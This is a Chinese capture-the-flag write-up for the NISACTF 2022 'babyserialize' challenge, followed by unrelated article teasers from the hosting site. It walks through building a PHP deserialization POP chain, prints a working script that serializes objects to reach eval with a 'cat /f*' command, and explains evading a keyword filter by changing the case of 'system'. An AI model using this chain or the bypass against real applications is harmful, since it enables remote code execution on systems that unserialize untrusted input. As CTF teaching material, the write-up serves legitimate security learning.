[NISACTF 2022]babyserialize(pop链构造与脚本编写详细教学)

news/2024/7/8 4:41:03

目录

一、理清pop链并进行标注

二、如何编写相关脚本

三、过滤与绕过

1、waf的绕过

2、preg_match的绕过


做这道题作为pop链的构造很典型,也很有意思,因为还存在一些其他东西。

打开链接,这种很多类的PHP代码多半是需要构造pop链

一、理清pop链并进行标注

 先找eval、flag这些危险函数和关键字样(这就是链尾),找到eval函数,且参数是txw4ever

 

我们可以利用这个txw4ever,来调用系统函数实现命令执行

OK,下面开始教你们做标注

首先我们找到第一步用到的参数所在位置,并在后面标注清楚需要传入的内容

1可以理解为第一步,shell表示我们这里需要传入一个类似shell的东西或者用system标注

传给谁就标注在谁的后面,这里表示要传给txw4ever,而txw4ever是在NISA类下

标注好后,我们回到PHP源码,往eval上面看,发现需要触发__invoke()函数

__invoke是对象被当做函数进行调用时就会触发,我们去找类似$a()这种的(所有类里面找)

找到$bb(),它对应的参数是su,且在类Ilovetxw里

同理我们进行标注,表示要调用参数su,传入NISA类

 

标注好后,我们回到PHP源码,往bb上面看,发现需要触发__toString()函数 

__ToString⽅法是当对象被当做字符串的时候会自动调用

继续在所有类里面找,找到strtolower函数,该函数是将字符串转换成小写

 对应参数 a ,在four类里,我们找到a的位置继续进行标注

因为这里还存在一个if的判断语句,需要符合才能执行后面语句,所有还需要给fun也赋值

因为fun是私有变量,我们最好直接在类里面修改

原来$fun='abc'; 将它修改为下图所示

回到PHP源码,继续往上我们找到__set函数

__set是对不存在或者不可访问的变量进行赋值就会自动调用

于是我们找到huang,我们可以看到在Ilovetxw类里面并不存在fun这个参数

同样进行标注

 

后面我就不详细理下去了,相信你们已经明白了

(不懂的欢迎私信我,可以给你们一对一慢慢详细讲解)

依次往上追到__call函数,__call是对不存在的方法或者不可访问的方法进行调用就自动调用

找到nisa,该类中并不存在这个方法,再往上就找到wakeup函数, 即我们的链头了

该函数在使用unserilize之前就会触发。

以及相关的标注:

我都感觉我讲得太详细了,听懂了的评论区扣个666

至此,我们理清了pop链,并进行了传参的相关标注

二、如何编写相关脚本

先将所有类复制下来放进VS(前面加上<?php)

在这些类后面,我们开始写脚本,我先将完整的能跑出flag的脚本给大家:

<?php

class NISA{
    public $fun="show_me_flag";
    public $txw4ever; // 1 shell
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext; //5 Ilovetxw
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang; //4 four
    public $su; //2 NISA

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER"; //3 Ilovetxw
    private $fun='sixsixsix'; //fun = "sixsixsix

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}


$n = new NISA();
$n->txw4ever = 'System("cat /f*");';
$n->fun = "666";
$i = new Ilovetxw();
$i->su = $n;
$f = new four();
$f->a = $i;
$i = new Ilovetxw();
$i->huang = $f;
$t = new TianXiWei();
$t->ext = $i;
echo urlencode(serialize($t));

我们就根据刚才标注的12345顺序来写,用到哪个类时,必须先用new实例化一遍

(哪怕重复用到了某个类,也需要重新实例化一遍,比如上面的Ilovetxw类)

给大家开个头吧,我们先用到NISA类,所以实例化NISA类:$n = new NISA();

$n->txw4ever表示调用这个类里面的txw4ever,后面传入我们想要传入的内容即可

至于为什么改fun的值,我们后面再说;

至此我们完成了1步骤,继续往下看,来到2

我们用到Ilovetxw类,将其实例化,同理根据标注进行调用传参即可

这样我们就可以写出后面所以的脚本了

三、过滤与绕过

这里存在两个需要绕过的地方,源码有给提示

1、waf的绕过

这里有一个hint函数,触发就会输出一些提示的东西

找到hint函数位置,在第一个类,如何绕过这个函数 ,只需让if语句判断不成立即可

所以你现在知道为什么前面我们需要修改fun的值了吧。

如果没有改fun的值,你只能得到一个提示,flag在根目录

 

2、preg_match的绕过

preg_match用来进行正则匹配,但没给匹配的内容,用的......,暗示我们存在关键字的过滤,

这里system被过滤掉了,如果我们原封不动的使用system,不出意外会返回 something wrong

OK,就不跟大家唠叨了,咱直接拿flag

 NSSCTF{eaa7fba4-17d4-4f17-ad15-38f20c0bf961}

 


http://lihuaxi.xjx100.cn/news/1316558.html

相关文章

推荐一个基于Java 的在线网盘开源程序

目录 一、软件简介 二、功能列表 文件列表 画廊模式 视频预览 文本预览 音频预览 PDF 预览 Office 预览 3d 文件预览 生成直链 页面设置 后台设置-登录 后台设置-存储源列表 后台设置-存储源权限控制 后台设置-添加存储源(本地存储) 后台设置-添加存储源 后…

存活探针副本机制2

存活探针副本机制2 本次我们开始 k8s 中存活探针和副本控制器的学习 如何保持 pod 健康 前面我们已经知道如何创建 pod&#xff0c;删除和管理 pod了&#xff0c;但是我们要如何才能保持 pod 的健康状态呢&#xff1f; 我们可以使用 存活探针和副本机制 探针的分类 探针目…

python接口自动化(十九)--Json 数据处理---实战(详解)

简介 上一篇说了关于json数据处理&#xff0c;是为了断言方便&#xff0c;这篇就带各位小伙伴实战一下。首先捋一下思路&#xff0c;然后根据思路一步一步的去实现和实战&#xff0c;不要一开始就盲目的动手和无头苍蝇一样到处乱撞&#xff0c;撞得头破血流后而放弃了。不仅什么…

使用TongRDS替换开源redis 并设置开机自启动

使用TongRDS替换开源redis 并设置开机自启动 1、安装TongRDS2、设置TongRDS开机自启动3、禁用开源redis docker 容器开机自启动 1、安装TongRDS 2、设置TongRDS开机自启动 3、禁用开源redis docker 容器开机自启动

Nginx应用 解决Nginx - 504 Gateway Time-out问题

目录 问题背景 问题分析 解决方法 拓展知识 问题背景 线上有个系统&#xff0c;最前端是设置了nginx作为代理&#xff0c;有个1个请求的接口需要耗时1.1分钟左右&#xff0c;老是出现Nginx - 504 Gateway Time-out的错误。 问题分析 绕过nginx直接访问应用tomcat直接的端口进…

Spark(15):SparkSQL之DataFrame

目录 0. 相关文章链接 1. DataFrame的作用 2. 创建DataFrame 3. SQL 语法 4. DSL 语法 5. RDD 转换为 DataFrame 6. DataFrame 转换为 RDD 0. 相关文章链接 Spark文章汇总 1. DataFrame的作用 Spark SQL 的 DataFrame API 允许我们使用 DataFrame 而不用必须去注册临时…

Docker学习笔记23

Docker Swarm架构&#xff1a; Swarm中以集群&#xff08;Cluster&#xff09;为单位进行管理&#xff0c;支持服务层面的操作。 集群是Swarm所管理的对象。 基本概念&#xff1a; 节点&#xff08;Node&#xff09;为Swarm集群中的一个Docker Engine实例。其中管理节点&#…

Linux学习之分区挂载

VMWare 16虚拟机添加一块硬盘 点击“硬盘&#xff08;SCSI&#xff09;”&#xff0c;在弹出来的窗口点击“硬盘&#xff08;SCSI&#xff09;”之后添加。 选择硬盘之后&#xff0c;点击下一步。 虚拟磁盘类型&#xff0c;就选择默认的SCSI(S)。 选择“创建新虚拟机磁盘…